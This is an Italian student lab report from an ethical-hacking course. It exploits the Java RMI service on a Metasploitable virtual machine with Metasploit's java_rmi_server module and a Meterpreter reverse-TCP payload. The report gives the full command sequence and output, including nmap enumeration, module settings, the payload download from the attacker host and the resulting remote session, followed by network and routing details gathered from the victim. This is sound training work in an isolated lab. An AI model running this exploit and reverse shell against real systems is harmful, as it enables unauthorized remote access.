

# Progetto di laboratorio: Ethical Hacking

## profilo studente

**data:** 23/01/2026

**Gabriel Giustinelli** 15/06/2004

studente presso **Epicode** classe **CS0525**

indirizzo **CyberSecurity Specialist**

## 1. progetto

L'obiettivo del laboratorio è individuare e sfruttare una vulnerabilità presente sulla macchina **Metasploitable**, in particolare il servizio **Java RMI** in ascolto sulla **porta 1099**, al fine di ottenere una **sessione remota Meterpreter** utilizzando **Metasploit Framework** dalla macchina attaccante **Kali Linux**.

Una volta ottenuto l'accesso, si richiede la raccolta di informazioni relative alla **configurazione di rete** e alla **tabella di routing** della macchina vittima.

### 1.1 Ambiente di laboratorio

- **Macchina attaccante:** Kali Linux

- Indirizzo IP: 192.168.11.111

```
inet brd valid_lft forever preferred_lft forever
eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:1f:b7:23 brd ff:ff:ff:ff:ff:ff
inet 192.168.11.111/24 brd 192.168.11.255 scope global noprefixroute eth0
    valid_lft forever preferred_lft forever
```

- **Macchina vittima:** Metasploitable

- Indirizzo IP: 192.168.11.112

```
eth0      Link encap:Ethernet HWaddr 08:00:27:1d:5f:3b
          inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe1d:5f3b/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:4 errors:0 dropped:0 overruns:0 frame:0
          TX packets:60 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
```

- **Rete:** LAN privata (ambiente di laboratorio)

## 1.2 Fase di enumerazione

Per verificare la presenza del servizio vulnerabile sulla macchina Metasploitable, viene eseguita una scansione delle porte:

```
nmap -sV 192.168.11.112
```

```
→ nmap -sV 192.168.11.112
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-23 05:09 EST
Nmap scan report for 192.168.11.112
Host is up (0.000071s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login?      login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi   GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13      Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:1D:5F:3B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Dalla scansione emerge che la porta **1099/tcp** risulta aperta ed è associata al servizio **Java RMI Registry**, noto per vulnerabilità sfruttabili tramite Metasploit.

## 1.3 Cos'è il servizio Java RMI

**Java RMI (Remote Method Invocation)** è una tecnologia di Java che permette a un programma di **chiamare metodi di un oggetto che si trova su un'altra macchina**, come se fosse locale.

In pratica:

- un **client** può eseguire funzioni
- su un **server remoto**
- tramite la rete

Il servizio RMI utilizza normalmente la **porta TCP 1099**, sulla quale gira il **RMI Registry**, cioè un “registro” che tiene traccia degli oggetti remoti disponibili.

Il problema nasce quando:

- il servizio RMI è **esposto in rete**
  - non richiede **autenticazione**
  - e accetta **oggetti serializzati** senza controlli

Java utilizza la **serializzazione** per inviare oggetti sulla rete.

Se un attaccante riesce a inviare un **oggetto Java malevolo**, il server può:  
**deserializzare ed eseguirlo**, portando a **Remote Code Execution**

## **2. Sfruttamento della vulnerabilità**

Si avvia Metasploit Framework:

## msfconsole

```
└$ msfconsole
Metasploit tip: Set the current module's RHOSTS with database values using
hosts -R or services -R

The logo is a complex, abstract design. It features a central vertical axis with horizontal dashes extending from it. Various arrows point in different directions: some upwards, some downwards, and some sideways. There are also several sets of brackets (both curly braces {} and square brackets []) and other punctuation marks like commas and colons. The entire logo is rendered in a light orange color against a black background, giving it a digital or circuit-like appearance.
```

Si ricerca l'exploit relativo a Java RMI:

search java rmi

Module	Description	Disclosure Date	Rank	Check	Descripti
exploit/multi/http/atlassian_crowd_pkinstall_plugin_upload_rce	Crowd pkinstall Unauthenticated Plugin Upload RCE	2019-05-22	excellent	Yes	Atlassian
exploit/multi/http/crushftp_rce_cve_2023_43177	CrushFTP RCE	2023-08-08	excellent	Yes	CrushFTP
Unauthenticated RCE					
2    └ target: Java		.	.	.	.
3    └ target: Linux Dropper		.	.	.	.
4    └ target: Windows Dropper		.	.	.	.
5    exploit/multi/misc/java_jmx_server	Java JMX	2013-05-22	excellent	Yes	Java JMX
Server Insecure Configuration Java Code Execution					
6    auxiliary/scanner/misc/java_jmx_server		2013-05-22	normal	No	Java JMX
Server Insecure Endpoint Code Execution Scanner					
7    auxiliary/gather/java_rmi_registry	Java RMI	.	normal	No	Java RMI
Registry Interfaces Enumeration					
8    exploit/multi/misc/java_rmi_server	Java RMI	2011-10-15	excellent	Yes	Java RMI
Server Insecure Default Configuration Java Code Execution					
9    └ target: Generic (Java Payload)		.	.	.	.
10    └ target: Windows x86 (Native Payload)		.	.	.	.
11    └ target: Linux x86 (Native Payload)		.	.	.	.
12    └ target: Mac OS X PPC (Native Payload)		.	.	.	.
13    └ target: Mac OS X x86 (Native Payload)		.	.	.	.
14    auxiliary/scanner/misc/java_rmi_server	Java RMI	2011-10-15	normal	No	Java RMI
Server Insecure Endpoint Code Execution Scanner					
15    exploit/multi/browser/java_rmi_connection_impl	Java RMIC	2010-03-31	excellent	No	Java RMIC

Viene selezionato il modulo:

```
use exploit/multi/misc/java_rmi_server
```

```
msf > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > █
```

Si guardano le configurazioni necessarie:

```
show options
```

```
Module options (exploit/multi/misc/java_rmi_server):
Name      Current Setting  Required  Description
_____
HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS          yes
RPORT        1099            yes       The target port (TCP)
SRVHOST       0.0.0.0        yes       The local host or network interface to listen on. This must be an address
                                         on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT       8080            yes       The local port to listen on.
SSL           false           no        Negotiate SSL for incoming connections
SSLCert        no
URIPATH        no           Path to a custom SSL certificate (default is randomly generated)
                           The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
_____
LHOST      192.168.11.111   yes       The listen address (an interface may be specified)
LPORT      4444            yes       The listen port

Exploit target:
Id  Name
--  --
0   Generic (Java Payload)

View the full module info with the info, or info -d command.
```

Si impostano i parametri richiesti:

```
set RHOSTS 192.168.11.112
```

```
set LHOST 192.168.11.111
```

```
set PAYLOAD java/meterpreter/reverse_tcp
```

```
msf exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf exploit(multi/misc/java_rmi_server) > set LHOST 192.168.11.111
LHOST => 192.168.11.111
msf exploit(multi/misc/java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > █
```

Verificata la configurazione, si avvia l'exploit:

```
Module options (exploit/multi/misc/java_rmi_server):
  Name      Current Setting  Required  Description
  HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    192.168.11.112    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099             yes       The local port or network interface to listen on. This must be an address
  SRVHOST   0.0.0.0          yes       on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL for incoming connections
  SSLCert   no               no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   no               no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  LHOST    192.168.11.111    yes       The listen address (an interface may be specified)
  LPORT    4444             yes       The listen port

Exploit target:
  Id  Name
  --  --
  0   Generic (Java Payload)

View the full module info with the info, or info -d command.
```

run

Al termine dell'esecuzione, viene ottenuta con successo una **sessione Meterpreter** sulla macchina remota.

```
msf exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/7HqDZLn3l
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:44841) at 2026-01-23 05:31:43 -0500
meterpreter > █
```

### 3. La vulnerabilità in Metasploitable

Su **Metasploitable**, il servizio Java RMI:

- è attivo di default
- è vecchio e non aggiornato
- non applica controlli di sicurezza
- accetta richieste da chiunque in rete

Questo lo rende vulnerabile a exploit noti, tra cui quello usato da Metasploit:

**exploit/multi/misc/java\_rmi\_server**

### 3.1 L'exploit:

1. si connette alla porta **1099**
2. sfrutta la gestione insicura della deserializzazione
3. invia un payload Java malevolo
4. ottiene l'esecuzione di codice sul sistema vittima

### 3.2 si ottiene una sessione Meterpreter

Il payload scelto:

```
java/meterpreter/reverse_tcp
```

funziona così:

- la macchina vittima esegue il payload
- apre una connessione **di ritorno** verso Kali
- viene stabilita una **sessione Meterpreter**

Meterpreter permette all'attaccante di:

- eseguire comandi
- visualizzare rete e routing
- caricare/scaricare file
- raccogliere informazioni di sistema

Il **servizio Java RMI** (Remote Method Invocation) consente l'esecuzione di metodi remoti tra applicazioni Java tramite rete.

In Metasploitable, il servizio RMI è in ascolto sulla **porta 1099** ed è configurato in modo **insicuro**, senza meccanismi di autenticazione o validazione degli oggetti ricevuti.

Questa configurazione rende il servizio **vulnerabile ad attacchi di deserializzazione**, permettendo a un attaccante di eseguire codice arbitrario da remoto.

Utilizzando **Metasploit**, è stato possibile sfruttare tale vulnerabilità per ottenere una sessione Meterpreter sulla macchina vittima.

## 4. Evidenze raccolte

### 4.1 Configurazione di rete

Dalla sessione Meterpreter viene eseguito il comando:

**ifconfig**

Il comando fornisce informazioni sulle interfacce di rete della macchina vittima, inclusi:

- indirizzo IP
- netmask
- interfaccia di rete attiva

```
meterpreter > ifconfig
Interface 1
=====
Name      : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name      : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe1d:5f3b
IPv6 Netmask : ::
```

## 4.2 Tabella di routing

Per visualizzare la tabella di routing della macchina Metasploitable, viene eseguito:

**route**

Il comando mostra:

- gateway predefinito
- reti direttamente connesse
- metriche di instradamento

```
meterpreter > route
IPv4 network routes
=====
Subnet          Netmask        Gateway      Metric   Interface
_____
127.0.0.1      255.0.0.0     0.0.0.0
192.168.11.112 255.255.255.0 0.0.0.0

IPv6 network routes
=====
Subnet          Netmask        Gateway      Metric   Interface
_____
::1            ::             ::           ::       ::
```

## 6. Conclusioni

Il laboratorio ha dimostrato come una configurazione vulnerabile del servizio **Java RMI** possa consentire a un attaccante di ottenere accesso remoto completo a un sistema.

L'utilizzo di **Metasploit Framework** ha permesso di automatizzare lo sfruttamento della vulnerabilità e di ottenere una sessione **Meterpreter**, dalla quale è stato possibile raccogliere informazioni sensibili sulla configurazione di rete e dell'instradamento della macchina vittima.

Questo tipo di vulnerabilità evidenzia l'importanza di:

- limitare l'esposizione dei servizi di rete
- mantenere i sistemi aggiornati
- applicare adeguate misure di hardening